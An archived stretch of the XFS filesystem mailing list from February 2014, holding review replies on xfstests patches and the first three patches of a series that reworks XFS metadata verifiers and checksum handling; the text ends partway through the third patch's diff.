------=_NextPart_000_0E24_01CF2606.CA3676E0-- From david@fromorbit.com Sun Feb 9 19:51:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8C1FD7F3F for ; Sun, 9 Feb 2014 19:51:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6EFA4304048 for ; Sun, 9 Feb 2014 17:51:11 -0800 (PST) X-ASG-Debug-ID: 1391997068-04cb6c6de3231520001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id bDAJldEU2chjxLYW for ; Sun, 09 Feb 2014 17:51:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUIAN0v+FJ5LGaB/2dsb2JhbABZgwyDPrc9hV+BBhd0giUBAQU6HCMQCAMOCgklDwUlAyETiATIHxcWjmcHhDgBA5gqkiKDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 12:21:08 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCg1Z-0000Um-UA; Mon, 10 Feb 2014 12:51:05 +1100 Date: Mon, 10 Feb 2014 12:51:05 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems Message-ID: <20140210015105.GN13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs/033: add golden output for CRC enaled filesystems References: <1391588590-6035-1-git-send-email-david@fromorbit.com> <20140207174950.GB31464@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140207174950.GB31464@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391997068 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144981 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 09:49:50AM -0800, Christoph Hellwig wrote: > On Wed, Feb 05, 2014 at 07:23:10PM +1100, Dave Chinner wrote: > > diff --git a/common/filter b/common/filter > > index 04d12c4..bb7fb33 100644 > > --- a/common/filter > > +++ b/common/filter > > @@ -152,6 +152,9 @@ _filter_mkfs() > > if (/^\s+=\s+sectsz=(\d+)\s+attr=(\d+)/) { > > print STDERR "sectsz=$1\nattr=$2\n"; > > } > > + if (/^\s+=\s+crc=(\d)/) { > > + print STDERR "crc=$1\n"; > > + } > > I think this variable is named way to genericly. And that probably > applies to others as well. > > I'd suggest at least xfs_feature_crc or similar. I can't say I like adding that prefix to the mkfs varaibles. I'll change this one to something less generic, but I'm going to ignore the others right now because changing them involves modifying 30+ tests.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 9 19:52:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A01167F3F for ; Sun, 9 Feb 2014 19:52:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 467BBAC005 for ; Sun, 9 Feb 2014 17:52:05 -0800 (PST) X-ASG-Debug-ID: 1391997123-04bdf0121f244060001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id QQbYzd1BRfCN2PTw for ; Sun, 09 Feb 2014 17:52:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUIAN0v+FJ5LGaB/2dsb2JhbABZgwyDPrc9hV+BBhd0giUBAQQBOhwjBQsIAw4HAwklDwUlAyETh30HyB8XFo4DZAeEOASYKpIig0EogSw Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 12:22:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCg2S-0000Uv-QS; Mon, 10 Feb 2014 12:52:00 +1100 Date: Mon, 10 Feb 2014 12:52:00 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems Message-ID: <20140210015200.GO13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems References: <1391590000-7171-1-git-send-email-david@fromorbit.com> <20140207174754.GA31464@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140207174754.GA31464@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391997123 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144981 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 09:47:54AM -0800, Christoph Hellwig wrote: > On Wed, Feb 05, 2014 at 07:46:40PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Version 5 filesystems always have attr2 format enabled, and it > > cannot be turned off via the noattr2 mount option. As such, attempts > > to mount with noattr2 will be rejected and this causes cascading > > failures within the test. > > > > Hence detect if we've created a CRC enabled filesystem, and if this > > is the case _notrun the test. > > > > Signed-off-by: Dave Chinner > > --- > > tests/xfs/189 | 11 ++++++++++- > > 1 file changed, 10 insertions(+), 1 deletion(-) > > > > diff --git a/tests/xfs/189 b/tests/xfs/189 > > index 27bfb63..addf7ce 100755 > > --- a/tests/xfs/189 > > +++ b/tests/xfs/189 > > @@ -241,7 +241,16 @@ _require_scratch > > unset SCRATCH_RTDEV > > unset SCRATCH_LOGDEV > > > > -_scratch_mkfs_xfs | _filter_mkfs 2>/dev/null > > +_scratch_mkfs_xfs | _filter_mkfs 2> $tmp.mkfs > > + > > +# check to see if we've made a CRC enabled filesystem. If so, > > +# we can't run the test because CRc enabled filesystems don't support > > +# noattr2 mount options and this will cause cascading failures that are > > +# impossible to filter. > > +. $tmp.mkfs > > +if [ $crc -eq 1 ]; then > > + _notrun "Filesystem CRCs enabled, noattr2 is not supported." > > +fi > > I really don't like opencoding this. Shouldn't we instead simplfy > pass a nocrc argument to _scratch_mkfs_xfs? No, that simply breaks old mkfs binaries. > Alternatively this magic should move into a helper. I'll roll it into a _requires_noattr2 helper. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Sun Feb 9 20:15:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0DEB37F3F for ; Sun, 9 Feb 2014 20:15:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9813AC002 for ; Sun, 9 Feb 2014 18:15:15 -0800 (PST) X-ASG-Debug-ID: 1391998514-04bdf01220245200001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id hOzFLhxlsMOp9ANd for ; Sun, 09 Feb 2014 18:15:14 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1A2FER9009377 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 9 Feb 2014 21:15:14 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1A2FC7h014460 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Sun, 9 Feb 2014 21:15:13 -0500 Message-ID: <52F83630.4020008@redhat.com> Date: Sun, 09 Feb 2014 20:15:12 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 0/6] xfs: verifier modification series X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH 0/6] xfs: verifier modification series Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391998514 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is a handful of changes related to the verifiers. The end goal is to differentiate CRC errors from other non-CRC verifier errors. At this point it's somewhat RFC, if you don't like some of the changes made along the way, just speak up. Thanks, -Eric From sandeen@sandeen.net Sun Feb 9 20:20:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DAA6C7F50 for ; Sun, 9 Feb 2014 20:20:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B0F978F8035 for ; Sun, 9 Feb 2014 18:20:36 -0800 (PST) X-ASG-Debug-ID: 1391998834-04bdf0121d245570001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id qAOSwLWmwKtUiQ2Y for ; Sun, 09 Feb 2014 18:20:35 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 77B416142669; Sun, 9 Feb 2014 20:20:34 -0600 (CST) Message-ID: <52F83771.9080202@sandeen.net> Date: Sun, 09 Feb 2014 20:20:33 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 1/6] xfs: limit superblock corruption errors to actual corruption References: <52F83630.4020008@redhat.com> X-ASG-Orig-Subj: [PATCH 1/6] xfs: limit superblock corruption errors to actual corruption In-Reply-To: <52F83630.4020008@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391998834 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Today, if xfs_sb_read_verify xfs_sb_verify xfs_mount_validate_sb detects superblock corruption, it'll be extremely noisy, dumping 2 stacks, 2 hexdumps, etc. This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb as well as in xfs_sb_read_verify. Also, *any* errors in xfs_mount_validate_sb which are not corruption per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, rw-incompat etc - things which do not return EFSCORRUPTED - will still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify sees any error at all. And it suggests to the user that they should run xfs_repair, even if the root cause of the mount failure is a simple incompatibility. I'll submit that the probably-not-corrupted errors don't warrant this much noise, so this patch removes the warning for anything other than EFSCORRUPTED returns, and replaces the lower-level XFS_CORRUPTION_ERROR with an xfs_notice(). Signed-off-by: Eric Sandeen --- Thanks to Brian for pointing out this better solution to my earlier patch. fs/xfs/xfs_sb.c | 5 ++--- 1 files changed, 2 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index b7c9aea..efaef71 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -295,8 +295,7 @@ xfs_mount_validate_sb( sbp->sb_dblocks == 0 || sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); + xfs_notice(mp, "SB sanity check failed"); return XFS_ERROR(EFSCORRUPTED); } @@ -625,7 +624,7 @@ xfs_sb_read_verify( out_error: if (error) { - if (error != EWRONGFS) + if (error == EFSCORRUPTED) XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, error); -- 1.7.1 From sandeen@sandeen.net Sun Feb 9 20:24:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 472D17F3F for ; Sun, 9 Feb 2014 20:24:13 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DCD70AC001 for ; Sun, 9 Feb 2014 18:24:12 -0800 (PST) X-ASG-Debug-ID: 1391999051-04cb6c6de2232e10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GnjgyJZ48RgRvc6d for ; Sun, 09 Feb 2014 18:24:11 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 235EE6142669; Sun, 9 Feb 2014 20:24:11 -0600 (CST) Message-ID: <52F83849.4040209@sandeen.net> Date: Sun, 09 Feb 2014 20:24:09 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 2/6] xfs: skip pointless CRC updates after verifier failures References: <52F83630.4020008@redhat.com> X-ASG-Orig-Subj: [PATCH 2/6] xfs: skip pointless CRC updates after verifier failures In-Reply-To: <52F83630.4020008@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391999051 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Most write verifiers don't update CRCs after the verifier has failed and the buffer has been marked in error. These two didn't, but should. Add returns to the verifier failure block, since the buffer won't be written anyway. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc_btree.c | 1 + fs/xfs/xfs_ialloc_btree.c | 1 + 2 files changed, 2 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 1308542..144d3b0 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -373,6 +373,7 @@ xfs_allocbt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index c8fa5bb..0028c50 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -261,6 +261,7 @@ xfs_inobt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); -- 1.7.1 From sandeen@sandeen.net Sun Feb 9 20:27:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C2E387F3F for ; Sun, 9 Feb 2014 20:27:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 57EAEAC004 for ; Sun, 9 Feb 2014 18:27:23 -0800 (PST) X-ASG-Debug-ID: 1391999241-04cbb00c2922b170001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id yyY8L8wWysrCjBII for ; Sun, 09 Feb 2014 18:27:21 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id E20C56142669; Sun, 9 Feb 2014 20:27:20 -0600 (CST) Message-ID: <52F83907.9070004@sandeen.net> Date: Sun, 09 Feb 2014 20:27:19 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 3/6] xfs: add helper for verifying checksums on xfs_bufs References: <52F83630.4020008@redhat.com> X-ASG-Orig-Subj: [PATCH 3/6] xfs: add helper for verifying checksums on xfs_bufs In-Reply-To: <52F83630.4020008@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391999241 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Many/most callers of xfs_verify_cksum() pass bp->b_addr and BBTOB(bp->b_length) as the first 2 args. Add a helper which can just accept the bp and the crc offset, and work it out on its own, for brevity. Signed-off-by: Eric Sandeen --- I'm not wedded to this; seems helpful and cleaner, but if there's a reason not to, *shrug* fs/xfs/xfs_alloc.c | 7 +++---- fs/xfs/xfs_attr_leaf.c | 3 +-- fs/xfs/xfs_btree.c | 8 ++++---- fs/xfs/xfs_cksum.h | 7 +++++++ fs/xfs/xfs_da_btree.c | 3 +-- fs/xfs/xfs_dir2_block.c | 3 +-- fs/xfs/xfs_dir2_data.c | 3 +-- fs/xfs/xfs_dir2_leaf.c | 3 +-- fs/xfs/xfs_dir2_node.c | 3 +-- fs/xfs/xfs_ialloc.c | 4 ++-- fs/xfs/xfs_symlink_remote.c | 2 +- 11 files changed, 23 insertions(+), 23 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 9eab2df..ab33714 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -485,8 +485,7 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + agfl_ok = xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc)); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -2241,8 +2240,8 @@ xfs_agf_read_verify( int agf_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + agf_ok = xfs_buf_verify_cksum(bp, + offsetof(struct xfs_agf, agf_crc)); agf_ok = agf_ok && xfs_agf_verify(mp, bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 7b126f4..a19a023 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -240,8 +240,7 @@ xfs_attr3_leaf_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_ATTR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || !xfs_attr3_leaf_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 9adaae4..4e8524d 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -243,8 +243,8 @@ xfs_btree_lblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_LBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_LBLOCK_CRC_OFF); + return true; } @@ -276,8 +276,8 @@ xfs_btree_sblock_verify_crc( struct xfs_buf *bp) { if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); + return true; } diff --git a/fs/xfs/xfs_cksum.h b/fs/xfs/xfs_cksum.h index fad1676..f605d64 100644 --- a/fs/xfs/xfs_cksum.h +++ b/fs/xfs/xfs_cksum.h @@ -60,4 +60,11 @@ xfs_verify_cksum(char *buffer, size_t length, unsigned long cksum_offset) return *(__le32 *)(buffer + cksum_offset) == xfs_end_cksum(crc); } +static inline int +xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + #endif /* _XFS_CKSUM_H */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 796272a..6cece55 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -214,8 +214,7 @@ xfs_da3_node_read_verify( switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) break; /* fall through */ case XFS_DA_NODE_MAGIC: diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 90cdbf4..948dc39 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -90,8 +90,7 @@ xfs_dir3_block_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_block_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 70acff4..1952f00 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -268,8 +268,7 @@ xfs_dir3_data_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_data_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index ae47ec6..1a412eb 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -180,8 +180,7 @@ __read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || !xfs_dir3_leaf_verify(bp, magic)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 48c7d18..875e7c0 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -116,8 +116,7 @@ xfs_dir3_free_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_FREE_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || !xfs_dir3_free_verify(bp)) { 